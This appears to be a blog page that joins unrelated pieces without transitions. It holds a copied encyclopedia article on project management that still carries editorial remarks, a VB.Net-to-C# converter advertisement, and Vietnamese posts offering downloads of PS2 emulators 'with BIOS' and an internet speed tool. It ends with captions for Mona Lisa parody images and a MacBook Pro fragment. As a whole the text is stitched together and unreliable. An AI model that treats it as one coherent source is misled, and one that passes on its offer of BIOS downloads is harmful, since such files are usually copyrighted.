VUONG VU

Project management is the discipline of organizing and managing resources (e.g. people) in such a way that the project is completed within defined scope, quality, time and cost constraints. A project is a temporary and one-time endeavor undertaken to create a unique product or service, which brings about beneficial change or added value. This property of being a temporary and one-time undertaking contrasts with processes, or operations, which are permanent or semi-permanent ongoing functional work to create the same product or service over and over again. The management of these two systems is often very different and requires varying technical skills and philosophy, hence requiring the development of project management.

The first challenge of project management is to make sure that a project is delivered within defined constraints. The second, more ambitious challenge is the optimized allocation and integration of inputs needed to meet pre-defined objectives. A project is a carefully defined set of activities that use resources (money, people, materials, energy, space, provisions, communication, etc.) to meet the pre-defined objectives.

Contents

* 1 History of project management
* 2 Definitions
* 3 Job description
* 4 The traditional triple constraints
o 4.1 Time
o 4.2 Cost
o 4.3 Scope
* 5 Project management activities
* 6 Project objectives
* 7 Project management artifacts
* 8 Project control variables
* 9 Approaches
o 9.1 The traditional approach
o 9.2 Rational Unified Process
o 9.3 Temporary organization sequencing concepts
o 9.4 Critical Chain
o 9.5 Extreme Project Management
o 9.6 Event chain methodology
o 9.7 Process-based management
* 10 Project systems
o 10.1 Project control systems
o 10.2 Project development stages
+ 10.2.1 Initiation
+ 10.2.2 Planning and design
+ 10.2.3 Closing and maintenance
* 11 Project management tools
* 12 Project management associations
o 12.1 International standards
o 12.2 Professional certifications
* 13 See also
* 14 References
* 15 Literature

History of project management

As a discipline, project management developed from different fields of application including construction, engineering, and defense. In the United States, the forefather of project management is Henry Gantt, called the father of planning and control techniques, who is famously known for his use of the "Gantt" chart as a project management tool, for being an associate of Frederick Winslow Taylor's theories of scientific management[1], and for his study of the work and management of Navy ship building. His work is the forerunner to many modern project management tools including the work breakdown structure (WBS) and resource allocation.

The 1950s marked the beginning of the modern project management era. Again, in the United States, prior to the 1950s, projects were managed on an ad hoc basis using mostly Gantt Charts, and informal techniques and tools. At that time, two mathematical project scheduling models were developed: (1) the "Program Evaluation and Review Technique" or PERT, developed by Booz-Allen & Hamilton as part of the United States Navy's (in conjunction with the Lockheed Corporation) Polaris missile submarine program[2]; and (2) the "Critical Path Method" (CPM) developed in a joint venture by both DuPont Corporation and Remington Rand Corporation for managing plant maintenance projects. These mathematical techniques quickly spread into many private enterprises.

At the same time, technology for project cost estimating, cost management, and engineering economics was evolving, with pioneering work by Hans Lang and others. In 1956, the American Association of Cost Engineers (now AACE International; the Association for the Advancement of Cost Engineering) was formed by early practitioners of project management and the associated specialties of planning and scheduling, cost estimating, and cost/schedule control (project control). AACE has continued its pioneering work and in 2006 released the first ever integrated process for portfolio, program and project management(Total Cost Management Framework).

In 1969, the Project Management Institute (PMI) was formed to serve the interest of the project management industry. The premise of PMI is that the tools and techniques of project management are common even among the widespread application of projects from the software industry to the construction industry. In 1981, the PMI Board of Directors authorized the development of what has become A Guide to the Project Management Body of Knowledge (PMBOK Guide), containing the standards and guidelines of practice that are widely used throughout the profession. The International Project Management Association (IPMA), founded in Europe in 1967, has undergone a similar development and instituted the IPMA Competence Baseline (ICB). The focus of the ICB also begins with knowledge as a foundation, and adds considerations about relevant experience, interpersonal skills, and competence. Both organizations are now participating in the development of a ISO project management standard.

Definitions

* PMBOK (Project Management Body of Knowledge as defined by the Project Management Institute - PMI):"Project management is the application of knowledge, skills, tools and techniques to project activities to meet project requirements."[3]
* PRINCE2 project management methodology: "The planning, monitoring and control of all aspects of the project and the motivation of all those involved in it to achieve the project objectives on time and to the specified cost, quality and performance."[4]
* PROJECT: A temporary piece of work with a finite end date undertaken to create a unique product or service. Projects bring form or function to ideas or needs.
* DIN 69901 (Deutsches Institut für Normung - German Organization for Standardization): "Project management is the complete set of tasks, techniques, tools applied during project execution"

Job description

Project management is quite often the province and responsibility of an individual project manager. This individual seldom participates directly in the activities that produce the end result, but rather strives to maintain the progress and productive mutual interaction of various parties in such a way that overall risk of failure is reduced.

A project manager is often a client representative and has to determine and implement the exact needs of the client, based on knowledge of the firm he/she is representing. The ability to adapt to the various internal procedures of the contracting party, and to form close links with the nominated representatives, is essential in ensuring that the key issues of cost, time, quality, and above all, client satisfaction, can be realized.

In whatever field, a successful project manager must be able to envision the entire project from start to finish and to have the ability to ensure that this vision is realized.

Any type of product or service —buildings, vehicles, electronics, computer software, financial services, etc.— may have its implementation overseen by a project manager and its operations by a product manager.

The traditional triple constraints

Like any human undertaking, projects need to be performed and delivered under certain constraints. Traditionally, these constraints have been listed as scope, time, and cost [citation needed]. These are also referred to as the Project Management Triangle, where each side represents a constraint. One side of the triangle cannot be changed without impacting the others. A further refinement of the constraints separates product 'quality' or 'performance' from scope, and turns quality into a fourth constraint.

* The diagram shown here, often a project management triangle focuses on the trade-off between time, cost, and quality (see also Project triangle where these aspects are called fast, cheap, and good). The deviation claimed to be traditional (without citation) bears the significant difference that quality as a combination of other aspects is at best something like "process quality", and certainly not product quality. Thus this diagram represents a biased (and often inappropriate) view of what quality is, from the perspective of self-assessment of project managers, who are in many company cultures often perceived as pursuing more their own career than actual product or project qualities. For this reason this section should be generally revised by an unbiased expert.


The Project Management Triangle

The time constraint refers to the amount of time available to complete a project. The cost constraint refers to the budgeted amount available for the project. The scope constraint refers to what must be done to produce the project's end result. These three constraints are often competing constraints: increased scope typically means increased time and increased cost, a tight time constraint could mean increased costs and reduced scope, and a tight budget could mean increased time and reduced scope.

The discipline of project management is about providing the tools and techniques that enable the project team (not just the project manager) to organize their work to meet these constraints.

Another approach to project management is to consider the three constraints as finance, time and human resources. If you need to finish a job in a shorter time, you can throw more people at the problem, which in turn will raise the cost of the project, unless by doing this task quicker we will reduce costs elsewhere in the project by an equal amount.

Time

For analytical purposes, the time required to produce a deliverable is estimated using several techniques. One method is to identify tasks needed to produce the deliverables documented in a work breakdown structure or WBS. The work effort for each task is estimated and those estimates are rolled up into the final deliverable estimate.

The tasks are also prioritized, dependencies between tasks are identified, and this information is documented in a project schedule. The dependencies between the tasks can affect the length of the overall project (dependency constrained), as can the availability of resources (resource constrained). Project Managers will often make a call to double down to prevent a project from breaking deadlines in the final stages of the implementation phase. Time is not considered a cost nor a resource since the project manager cannot control the rate at which it is expended. This makes it different from all other resources and cost categories.

Cost

Cost to develop a project depends on several variables including (chiefly): labor rates, material rates, risk management, plant (buildings, machines, etc.), equipment, and profit. When hiring an independent consultant for a project, cost will typically be determined by the consultant's or firm's per diem rate multiplied by an estimated quantity for completion.

Scope

Requirements specified for the end result. The overall definition of what the project is supposed to accomplish, and a specific description of what the end result should be or accomplish. A major component of scope is the quality of the final product. The amount of time put into individual tasks determines the overall quality of the project. Some tasks may require a given amount of time to complete adequately, but given more time could be completed exceptionally. Over the course of a large project, quality can have a significant impact on time and cost (or vice versa).

Together, these three constraints have given rise to the phrase "On Time, On Spec, On Budget". In this case, the term "scope" is substituted with "spec(ification)".

Project management activities

Project management is composed of several different types of activities such as:

1. Planning the work or objectives
2. Analysis & design of objectives and events
3. Assessing and controlling risk (or Risk Management)
4. Estimating resources
5. Allocation of resources
6. Organizing the work
7. Acquiring human and material resources
8. Assigning tasks
9. Directing activities
10. Controlling project execution
11. Tracking and reporting progress
12. Analyzing the results based on the facts achieved
13. Defining the products of the project
14. Forecasting future trends in the project
15. Quality Management
16. Issues management
17. Issue solving
18. Defect prevention
19. Identifying, managing & controlling changes
20. Project closure (and project debrief)
21. Communicating to stakeholders
22. Increasing/ decreasing a company's workers

Project objectives

Project objectives define target status at the end of the project, reaching of which is considered necessary for the achievement of planned benefits. They can be formulated as S.M.A.R.T.

* Specific,
* Measurable (or at least evaluable) achievement,
* Achievable (recently Acceptable is used regularly as well),
* Realistic and
* Time terminated (bounded).

The evaluation (measurement) occurs at the project closure. However a continuous guard on the project progress should be kept by monitoring and evaluating.

Project management artifacts
Most successful projects have one thing that is very evident - they were adequately documented, with clear objectives and deliverables.[citation needed] These documents are a mechanism to align sponsors, clients, and project team's expectations.

1. Project Charter
2. Preliminary Scope Statement / Statement of work
3. Business case/Feasibility Study
4. Scope Statement / Terms of reference
5. Project management plan / Project Initiation Document
6. Work Breakdown Structure
7. Change Control Plan
8. Risk Management Plan
9. Risk Breakdown Structure
10. Communications Plan
11. Governance Model
12. Risk Register
13. Issue Log
14. Action Item List
15. Resource Management Plan
16. Project Schedule
17. Status Report
18. Responsibility assignment matrix
19. Database of lessons learned
20. Stakeholder Analysis

These documents are normally hosted on a shared resource (i.e., intranet web page) and are available for review by the project's stakeholders (except for the Stakeholder Analysis, since this document comprises personal information regarding certain stakeholders. Only the Project Manager has access to this analysis). Changes or updates to these documents are explicitly outlined in the project's configuration management (or change control plan).

Project control variables
Project Management tries to gain control over variables such as risk:

Risk
Potential points of failure: Most negative risks (or potential failures) can be overcome or resolved, given enough planning capabilities, time, and resources. According to some definitions (including PMBOK Third Edition) risk can also be categorized as "positive--" meaning that there is a potential opportunity, e.g., complete the project faster than expected.

Customers (either internal or external project sponsors) and external organizations (such as government agencies and regulators) can dictate the extent of three variables: time, cost, and scope. The remaining variable (risk) is managed by the project team, ideally based on solid estimation and response planning techniques. Through a negotiation process among project stakeholders, an agreement defines the final objectives, in terms of time, cost, scope, and risk, usually in the form of a charter or contract.

To properly control these variables a good project manager has a depth of knowledge and experience in these four areas (time, cost, scope, and risk), and in six other areas as well: integration, communication, human resources, quality assurance, schedule development, and procurement.

Approaches

There are several approaches that can be taken to managing project activities including agile, interactive, incremental, and phased approaches.

Regardless of the approach employed, careful consideration needs to be given to clarify surrounding project objectives, goals, and importantly, the roles and responsibilities of all participants and stakeholders.

The traditional approach

A traditional phased approach identifies a sequence of steps to be completed. In the traditional approach, we can distinguish 5 components of a project (4 stages plus control) in the development of a project:

1. project initiation stage;
2. project planning or design stage;
3. project execution or production stage;
4. project monitoring and controlling systems;
5. project completion stage.

Not all the projects will visit every stage as projects can be terminated before they reach completion. Some projects probably don't have the planning and/or the monitoring. Some projects will go through steps 2, 3 and 4 multiple times.

Many industries utilize variations on these stages. For example, in bricks and mortar architectural design, projects typically progress through stages like Pre-Planning, Conceptual Design, Schematic Design, Design Development, Construction Drawings (or Contract Documents), and Construction Administration. In software development, this approach is often known as 'waterfall development' i.e one series of tasks after another in linear sequence. In software development many organizations have adapted the Rational Unified Process (RUP) to fit this methodology, although RUP does not require or explicitly recommend this practice. Waterfall development can work for small tightly defined projects, but for larger projects of undefined or unknowable scope, it is less suited. Because software development is often the realization of a new or novel product, this method has been widely accepted as ineffective for software projects where requirements are largely unknowable up front and susceptible to change. While the names may differ from industry to industry, the actual stages typically follow common steps to problem solving--defining the problem, weighing options, choosing a path, implementation and evaluation.

Rational Unified Process

1. Inception - Identify the initial scope of the project, a potential architecture for the system, and obtain initial project funding and stakeholder acceptance.
2. Elaboration - Prove the architecture of the system.
3. Construction - Build working software on a regular, incremental basis which meets the highest-priority needs of project stakeholders.
4. Transition - Validate and deploy the system into the production environment

Temporary organization sequencing concepts

1. Action-based entrepreneurship
2. Fragmentation for commitment-building
3. Planned isolation
4. Institutionalised termination

Critical Chain

Critical chain is the application of the Theory of Constraints (TOC) to projects. The goal is to increase the rate of throughput (or completion rates) of projects in an organization. Applying the first three of the five focusing steps of TOC, the system constraint for all projects is identified as resources. To exploit the constraint, tasks on the critical chain are given priority over all other activities. Finally, projects are planned and managed to ensure that the critical chain tasks are ready to start as soon as the needed resources are available, subordinating all other resources to the critical chain.

For specific projects, the project plan is resource-leveled, and the longest sequence of resource-constrained tasks is identified as the critical chain. In multi-project environments, resource leveling should be performed across projects. However, it is often enough to identify (or simply select) a single "drum" resource—a resource that acts as a constraint across projects—and stagger projects based on the availability of that single resource.

Extreme Project Management

In critical studies of project management, it has been noted that several of these fundamentally PERT-based models are not well suited for the multi-project company environment of today. Most of them are aimed at very large-scale, one-time, non-routine projects, and nowadays all kinds of management are expressed in terms of projects. Using complex models for "projects" (or rather "tasks") spanning a few weeks has been proven to cause unnecessary costs and low maneuverability in several cases. Instead, project management experts try to identify different "lightweight" models, such as Extreme Programming for software development and Scrum techniques. The generalization of Extreme Programming to other kinds of projects is extreme project management, which may be used in combination with the process modeling and management principles of human interaction management.

Event chain methodology

Event chain methodology is the next advance beyond critical path method and critical chain project management.

Event chain methodology is an uncertainty modeling and schedule network analysis technique that is focused on identifying and managing events and event chains that affect project schedules. Event chain methodology helps to mitigate the negative impact of psychological heuristics and biases, as well as to allow for easy modeling of uncertainties in the project schedules. Event chain methodology is based on the following major principles.

* Probabilistic moment of risk: An activity (task) in most real life processes is not a continuous uniform process. Tasks are affected by external events, which can occur at some point in the middle of the task.
* Event chains: Events can cause other events, which will create event chains. These event chains can significantly affect the course of the project. Quantitative analysis is used to determine a cumulative effect of these event chains on the project schedule.
* Critical events or event chains: The single events or the event chains that have the most potential to affect the projects are the “critical events” or “critical chains of events.” They can be determined by the analysis.
* Project tracking with events: If a project is partially completed and data about the project duration, cost, and events occurred is available, it is possible to refine information about future potential events and helps to forecast future project performance.
* Event chain visualization: Events and event chains can be visualized using event chain diagrams on a Gantt chart.

Process-based management

Also furthering the concept of project control is the incorporation of process-based management. This area has been driven by the use of Maturity models such as the CMMI (Capability Maturity Model Integration) and ISO/IEC15504 (SPICE - Software Process Improvement and Capability Determination), which have been far more successful.

Agile project management approaches based on the principles of human interaction management are founded on a process view of human collaboration. This contrasts sharply with traditional approach. In the agile software development or flexible product development approach, the project is seen as a series of relatively small tasks conceived and executed as the situation demands in an adaptive manner, rather than as a completely pre-planned process.

Project systems

As mentioned above, traditionally, project development includes five elements: control systems and four stages.

Project control systems

Project control is that element of a project that keeps it on-track, on-time, and within budget. Project control begins early in the project with planning and ends late in the project with post-implementation review, having a thorough involvement of each step in the process. Each project should be assessed for the appropriate level of control needed: too much control is too time consuming, too little control is too costly. If control is not implemented correctly, the cost to the business should be clarified in terms of errors, fixes, and additional audit fees. The practices of project control are part of the field of cost engineering.

Control systems are needed for cost, risk, quality, communication, time, change, procurement, and human resources. In addition, auditors should consider how important the projects are to the financial statements, how reliant the stakeholders are on controls, and how many controls exist. Auditors should review the development process and procedures for how they are implemented. The process of development and the quality of the final product may also be assessed if needed or requested. A business may want the auditing firm to be involved throughout the process to catch problems earlier on so that they can be fixed more easily. An auditor can serve as a controls consultant as part of the development team or as an independent auditor as part of an audit.

Businesses sometimes use formal systems development processes. These help assure that systems are developed successfully. A formal process is more effective in creating strong controls, and auditors should review this process to confirm that it is well designed and is followed in practice. A good formal systems development plan outlines:

* A strategy to align development with the organization’s broader objectives
* Standards for new systems
* Project management policies for timing and budgeting
* Procedures describing the process

Project development stages

Regardless of the methodology used, the project development process will have the same major stages: initiation, development, production or execution, and closing/maintenance.

Initiation

The initiation stage determines the nature and scope of the development. If this stage is not performed well, it is unlikely that the project will be successful in meeting the business’s needs. The key project controls needed here are an understanding of the business environment and making sure that all necessary controls are incorporated into the project. Any deficiencies should be reported and a recommendation should be made to fix them.

The initiation stage should include a cohesive plan that encompasses the following areas:

* Study analyzing the business needs in measurable goals.
* Review of the current operations.
* Conceptual design of the operation of the final product.
* Equipment requirement.
* Financial analysis of the costs and benefits including a budget.
* Select stake holders, including users, and support personnel for the project.
* Project charter including costs, tasks, deliverables, and schedule.

Planning and design

After the initiation stage, the system is designed. Occasionally, a small prototype of the final product is built and tested. Testing is generally performed by a combination of testers and end users, and can occur after the prototype is built or concurrently. Controls should be in place that ensure that the final product will meet the specifications of the project charter. The results of the design stage should include a product design that:

* Satisfies the project sponsor, end user, and business requirements.
* Functions as it was intended.
* Can be produced within quality standards.
* Can be produced within time and budget constraints.

Closing and maintenance

Closing includes the formal acceptance of the project and the ending thereof. Administrative activities include the archiving of the files and documenting lessons learned.

Maintenance is an ongoing process, and it includes:

* Continuing support of end users
* Correction of errors
* Updates of the software over time

In this stage, auditors should pay attention to how effectively and quickly user problems are resolved.

Over the course of any construction project, the work scope changes. Change is a normal and expected part of the construction process. Changes can be the result of necessary design modifications, differing site conditions, material availability, contractor-requested changes, value engineering and impacts from third parties, to name a few. Beyond executing the change in the field, the change normally needs to be documented to show what was actually constructed. Hence, the owner usually requires a final record to show all changes or, more specifically, any change that modifies the tangible portions of the finished work. The record is made on the contract documents – usually, but not necessarily limited to, the design drawings. The end product of this effort is what the industry terms as-built drawings, or more simply, “asbuilts.” The requirement for providing them is a norm in construction contracts.

Project management tools

Project management tools include

* Financial tools
* Cause and effect charts
* PERT charts
* Gantt charts
* Event Chain Diagrams
* Run charts
* Project Cycle Optimisation
* List of project management software
* Participatory Impact Pathways Analysis (An approach for developing common understanding and consensus amongst project partcipants and stakeholders as to how the project will achieve its goal)

Project management associations

Several national and professional associations exist which have as their aim the promotion and development of project management and the project management profession. The most prominent associations include:

* The Project Management Institute (PMI)
* The Association for Project Management (UK) (APM)
* The Australian Institute of Project Management (AIPM)
* The International Project Management Association (IPMA)
* The Brazilian Association for Project Management (ABGP)
* The International Association of Project and Program Management (IAPPM)

International standards

There have been several attempts to develop project management standards, such as:

* A Framework for Performance Based Competency Standards for Global Level 1 and Level 2 Project Managers (Global Alliance for Project Performance Standards)
* A Guide to the Project Management Body of Knowledge (PMBOK Guide)
* The Standard for Program Management
* The Standard for Portfolio Management
* APM Body of Knowledge 5th ed. (APM - Association for Project Management (UK))
* ICB v3 (IPMA Competence Baseline)
* RBC v1.1 (ABGP Competence Baseline)
* PRINCE2 (PRojects IN a Controlled Environment)
* P2M (A guidebook of Project & Program Management for Enterprise Innovation, Japanese third-generation project management method)(Download page for P2M and related products)
* V-Modell (German project management method)
* HERMES method (The Swiss general project management method, selected for use in Luxembourg and international organisations)
* Organizational Project Management Maturity Model (OPM3)
* International Standards Organization Founded 1947
o ISO 9000: a family of standards for quality management systems.
o ISO 10006:2003, Quality management systems - Guidelines for quality management in projects
* JPACE (Justify, Plan, Activate, Control, and End - The James Martin Method for Managing Projects (1981-present))
* Software Engineering Institute: Capability Maturity Model
* Total Cost Management Framework (AACE International's process for Portfolio, Program and Project Management) (ref:Cost Engineering)

Professional certifications

* CompTIA Project+, ([Computer Technology Industry Association])
* CPM (The International Association of Project & Program Management)
* IPMA (Levels of Certification: IPMA-A, IPMA-B, IPMA-C and IPMA-D)
* PMP (Project Management Professional), CAPM (Certified Associate in Project Management). PMI certifications
* Master Project Manager, Certified International Project Manager. AApM certifications
* Certified Portfolio, Program & Project Manager (C3PM)- AACE International.

See also: An exhaustive list of standards (maturity models)

See also

* Architectural engineering
* Association for Project Management
* Brazilian Association for Project Management - ABGP
* Capability Maturity Model
* Commonware
* Construction management
* Construction software
* Cost overrun
* Cost engineering
* Critical chain
* Deliverable
* Dependency Structure Matrix
* Earned value management
* Event chain methodology
* Flexible project management
* Functionality, mission and scope creep
* Gantt chart
* Governance
* Human Interaction Management
* IPMA - International Project Management Association
* List of project management topics
* Megaprojects
* M.S.P.M.
* Portfolio management
* Project accounting
* Project governance
* Program management
* Project management software (List of project management software)
* Project workforce management
* Process architecture
* RACI diagram
* Six Sigma
* Software project management
* Terms of reference
* The Mythical Man-Month
* Timesheet
* Total cost management
* Work Breakdown Structure

References

1. ^ http://principles-of-scientific-management.blogspot.com/
2. ^ http://www.boozallen.com/about/history/history_5
3. ^ http://www.pmi.org/info/PP_OPM3ExecGuide.pdf
4. ^ http://www.ruleworks.co.uk/cgi-bin/TUaz.exe?Guide=Prince2&XL=P&t=PRINCE2%20Knowledgebase

[edit] Literature

* Berkun, Scott (2005). Art of Project Management. Cambridge, MA: O'Reilly Media. ISBN 0-596-00786-8.
* Brooks, Fred (1995). The Mythical Man-Month, 20th Anniversary Edition, Adison Wesley. ISBN 0-201-83595-9.
* Comninos D &, Frigenti E (2002). The Practice of Project Management - a guide to the business-focused approach. Kogan Page. ISBN 0-7494-3694-8.
* Heerkens, Gary (2001). Project Management (The Briefcase Book Series). McGraw-Hill. ISBN 0-07-137952-5.
* Kerzner, Harold (2003). Project Management: A Systems Approach to Planning, Scheduling, and Controlling, 8th Ed., Wiley. ISBN 0-471-22577-0.
* Chamoun, Yamal (2006). Professional Project Management, THE GUIDE, 1st.Edition, Monterrey, NL MEXICO: McGraw Hill. ISBN 970-10-5922-0.
* Lewis, James (2002). Fundamentals of Project Management, 2nd ed., American Management Association. ISBN 0-8144-7132-3.
* Meredith, Jack R. and Mantel, Samuel J. (2002). Project Management : A Managerial Approach, 5th ed., Wiley. ISBN 0-471-07323-7.
* Project Management Institute (2003). A Guide To The Project Management Body Of Knowledge, 3rd ed., Project Management Institute. ISBN 1-930699-45-X.
* Stellman, Andrew and Greene, Jennifer (2005). Applied Software Project Management. Cambridge, MA: O'Reilly Media. ISBN 0-596-00948-8.
* Thayer, Richard H. and Yourdon, Edward (2000). Software Engineering Project Management, 2nd Ed., Wiley-IEEE Computer Society Press. ISBN 0-8186-8000-8.
* Whitty, S. Jonathan (2005). A Memetic Paradigm of Project Management. International Journal of Project Management, 23 (8) 575-583.
* Whitty, S.J. and Schulz, M.F. (2007). The impact of Puritan ideology on aspects of project management. International Journal of Project Management, 25 (1) 10-20.
* Pettee, Stephen R. (2005). As-builts – Problems & Proposed Solutions. Construction Management Association of America.
* Verzuh, Eric (2005). The Fast Forward MBA in Project Management, 2nd, Wiley. ISBN 0-471-69284-0 (pbk.).

VBConversions VB.Net to C# Converter is a source code to source code converter. Your code maintains its original readability and flavor (including line and inline comments), Reliability is very good, over 99% accuracy in most tests.
Unsurpassed Accuracy
* Microsoft 101 Sample VB.Net programs convert at 100% accuracy.
* Each release is stress tested on hundreds of thousands of lines of VB.Net code.
* VB casing inconsistencies are fixed during conversion (C# is case sensitive, VB is not)
* Handles clauses are converted to C# style event handling.
* Optional parameters are converted correctly (VB supports them, C# doesn't)
* VB Namespace functions like Left$, Right$, Mid$, MsgBox, etc. are optionally converted to their .Net equivalents....
* Unreachable code is commented out (allowed in VB but not in C#)
* Non-static initializers converted correctly (allowed in VB not in C#)
* Arrays ranges initialized properly by adding 1: "dim a(5) as string" in VB = "private string[] a = new string[6];" in C#
* In many situations, On Error Goto is automatically converted to Try / Catch.
* VB "Like" operators are converted correctly.
* Complex Case statements are converted correctly or changed to "if" statements as necessary (VB supports complex Case statements, C# doesn't).
* Unnecessary ByRef parameters (common in VB6 upgraded code) are automatically converted to value parameters.
* With clauses are converted correctly (With clauses are supported in VB but not in C#)
* Many difficult and ambiguous features of VB are converted correctly (too many to list).
Flexibility and Ease of Use
* Converts VB.Net 2003 and 2005 projects.
* Convert single projects.
* Convert groups of projects at once.
* Convert using the command line.
* Comprehensive help available.
Comprehensive Reporting
Comprehensive reports show you potential problems with your code before
conversion, things of interest which happened during conversion, any C#
compiler errors encountered, and synchronized side by side VB.Net and
C# code listings. Reports available are:
* Files in Project
* Potential Conversion Problems by Severity (High, Medium, Low)
* Problems Conversion Problems by Type
* Problems Conversion Problems by File
* Conversion Notes by Severity (High, Medium, Low)
* Conversion Notes by Type
* Conversion Notes by File
* Compiler Errors by Severity (High, Medium, Low)
* Compiler Errors by Error Code
* Compiler Errors by File
* Synchronized Side by Side Code Listings (VB.Net and C#)
Dozens of Conversion Options
* Control program flow / prompts
* Control whether X = X + 1 is converted to X++
* Control whether X = X - 1 is converted to X--
* Control whether temporary variables can be created for ref / out argument conversion.
* Control whether unnecessary ByRef parameters can be converted to value parameters.
* Control whether unreachable code should be commented out.
* Control whether non-static initializers can be put into class constructors to prevent CS0236 errors.
* Control whether temporary variables can be created for With clauses (4 different options).
* Control whether VB Namespace functions should be converted to their .Net equivalents:

o IsNothing()o Chr()o Len()o UCase()o LCase()o Left()o Right()o RTrim()o LTrim()o Trim()o Mid()o Replace()o Split()o Join()o MsgBox()o UBound()o LBound()o IIF()
Donwload here:

Gồm 2 trình giả lập mới nhất và tốt nhất hiện nay là PS2 Emulator 0.9.2 và nSX2 v0.08.0.Đầy đủ Plugin và BIOS với hướng dẫn.
Tôi đã thử đều chạy rất tốt trên MacBook Pro và Desktop với Windows XP hoặc Vista.
Chơi được trọn vẹn các Games (tuỳ vào việc chúng ta cấu hình phù hợp)
Zero GI Pixel Shader Plugin for version 0.9.1 and 0.9.2
Plugin for Pixel Shader Graphic Card | 1.9MB (unpack 15MB) | with User guide
Chơi game PS2 từ đĩa DVD hoặc từ ổ cứng đều được hết, vô tư.

Cấu hình tiêu chuẩn
Pentium 4
VGA 512Mb
RAM 512Mb to 1Gb
HHD thoải mái

Nên chọn những GamePad thế này dễ kết nối hơn, hoặc không thì cứ dùng bàn phím
Tiếng Việt:
How to Run PS2 Emulator 0.9.2:
1-Giải nén file .rar
2-run ps2.exe/ps2t.exe ( chọn 1 trong 2 files này để chạy cho phù hợp với PC của bạn)
3-Configure các phần đồ họa, âm thanh, DVD cho phù hợp nhất với cấu hình máy (Xem file Config Readme).
4-Chơi game
How to use ZeroGS plugin:
1-Giải nén file .rar
2-copy DLL files vào thư mục plugins trong thư mục PS2_EMU_092
3-Thành công!

English:
How to Run PS2 Emulator 0.9.2 :
1-unpack the rar file
2-run ps2.exe/ps2t.exe ( both of them work but you must run the one that is more compatible for your PC)
3-Configure everything (See Config Readme) then Play.
4-Enjoy!
How to use ZeroGS plugin :
1-Unpack
2-copy DLL files into plugins directory in PS2_EMU_092 directory (or directory that you unpack your Emulator RAR file)
3-Enjoy!
Quick guide for loading ISO files with nSX2 v0.08.0:
1)The .elf file are the executables of the demos/games.(like the .exe files in Win32 OS)
2) To extract an ISO from the disk , use Isobuster (http://www.smart-projects.net/isobuster/) which supports both creating iso files from cd's and dvd's. It's a freeware version.
3) In commercials games, the executable doesnt have the .elf extension.
To find it, open the file SYSTEM.CNF in the ISO/BIN or in the Cd/DVD itself (with Notepad for exemple)
Look at the line :
BOOT2 = cdrom0:SLPS_000.00;1
( Note: , this line is just an exemple)
SLPS_000.00 is the .elf file you are looking for.
Extract it from the ISO or copy it from the Cd/DVD and rename it "Something.elf".
4) nSX2 0.08.0 can't load and run ISO files.
You must do it manually.
Click "Load ISO" , and select the ISO.
Click "Load Elf" , and select the previously extracted Elf.

Download here:Gia lap Playstation 2 tren PC.zip

cFosSpeed, tăng tốc độ truy cập Internet với Traffic Shaping: Phân luồng dữ liệu
ADSL là viết tắt của cụm từ: Asymmetric Digital Subscriber Line - Đường thuê bao bất đối xứng. Nhưng đơn giản, ta chỉ hiểu ADSL là đường truyền Internet tốc độ cao. Nhưng nó cao chừng nào thì chả ai biết. Nhiều khi thì nó nhanh thật, nhưng nhiều lúc lại chậm như rùa bò, đôi lúc còn thua cả Dial-Up: Kết nối quay số (kinh nghiệm bản thân trước năm 2001). Cái này thì do nhà cung cấp dịch vụ thôi, chứ đúng ra thì nó nhanh thật.

Có rất nhiều giải pháp để cải thiện tình trạng này. Bằng phần cứng cũng có mà bằng phần mềm cũng có. Tôi đã thử qua các chương trình như DSL Speed, Robust Internet Speed Booster, TuneUp Utilities, cFosspeed... Trong số này tôi nhận thấy chỉ có cFosspeed là tốt hơn cả, vừa nhẹ vừa hiệu quả.


- Hoàn hảo nhất cho trò chơi trực tuyến (games online)
- Mở rộng Traffic Shaping cho DSL modems, cable modems & routers
- Đáp ứng nhanh, thuận lợi khi dùng chơi trò chơi trực tuyến, chia sẻ tập tin giống như eMule, Kazaa hay Bittorrent.
- Tối ưu thời gian cho việc nghe nhạc hay xem phim trực tuyến, âm thoại qua Internet, nghe đài trên mạng,...
- Có thể đặt độ ưu tiên cho các chưng trình hay dùng


(Traffic Shaping: Đây là từ ngữ chuyên môn. Có thể dịch nó không chính
xác nhưng bạn có thể hiểu là: Mỗi loại dữ liệu truyền tải trên Internet
yêu cầu băng thông (bandwith) khác nhau. Traffic Shaping: phân loại dữ
liệu để mạng có thể thực hiện yêu cầu tốt hơn.)

Download here : cfos402.zip

Giới say mê hội hoạ có lẽ không ai không biết bức tranh nổi tiếng về nàng Monalisa của nhà khoa học kiêm danh hoạ Leonardo Da Vinci, nhưng nàng là ai mà đến giờ vẫn nổi tiếng thế..

Nụ cười lạnh gáy người thưởng thức tranh từ hơn 500 năm trước





Ngay đến trường phái Van Gogh cũng có cảm hứng từ bức chân dung của nàng





Nếu ai nghĩ rằng trái đất mới có chân dung nàng Monalisa thì lầm to, từ hành tinh xa xôi cũng có 1 nàng Monalien



Đến phim hành động Matrix còn mời nàng tham gia với vai Momalitrix



Nét đẹp của nàng đến nữ hoàng Ai Cập Cleopatra còn ghen tị



Kể cả Mr.Bin còn mong muốn có chân dung như nàng



Nụ cười của nàng còn là hiểm hoạ cạnh tranh giữa người ngoài hành tinh



Ngay đến ma quỷ dưới âm phủ còn muốn được như nàng



Không chỉ dừng ở đấy, nàng còn kiêm vai gái làm tiền mà giới làng chơi gọi là sư bà gái gọi



Vẻ đẹp của nàng còn được các bác sĩ thẩm mỹ quảng cáo rầm rộ



Ngay đến các nam diễn viên Hàn Quốc nửa đực nửa cái còn muốn chân dung như nàng



Cuộc chiến chống khủng bố có nàng Monalisaddam nằm trong danh sách

Giá 1.799 Bảng Anh cho màn hình 17 inches === tương đương 2.799 USD

The MacBook Pro is a line of Macintosh notebook computers by Apple for the professional market. First announced on January 10, 2006 at the Macworld Expo by Apple CEO Steve Jobs[1], the MacBook Pro was immediately available for pre-sale at online Apple Stores worldwide, with deliveries beginning in mid-February 2006[2]. The MacBook Pro was the successor to the 15-inch and 17-inch models of the PowerBook G4 series, and was the first Macintosh laptop to be powered by the Intel Core Duo and Core 2 Duo processors.

The MacBook Pro is currently available in two size configurations: a 15.4-inch model first introduced on January 10, 2006 and last revised on June 5, 2007, and a 17" model first introduced on April 24, 2006 and also last revised on June 5, 2007.[3]

Alongside the iMac Core Duo, the MacBook Pro represents Apple's first computers to feature Intel processors instead of PowerPC processors, a transition that completed on August 7, 2006. Since the introduction of the MacBook Pro, other lines have followed, including the introduction of the Intel Core powered Mac mini on 28 February 2006 and the consumer line of laptop computers, the MacBook on 16 May 2006.






Hệ điều hành MacOSX Tiger

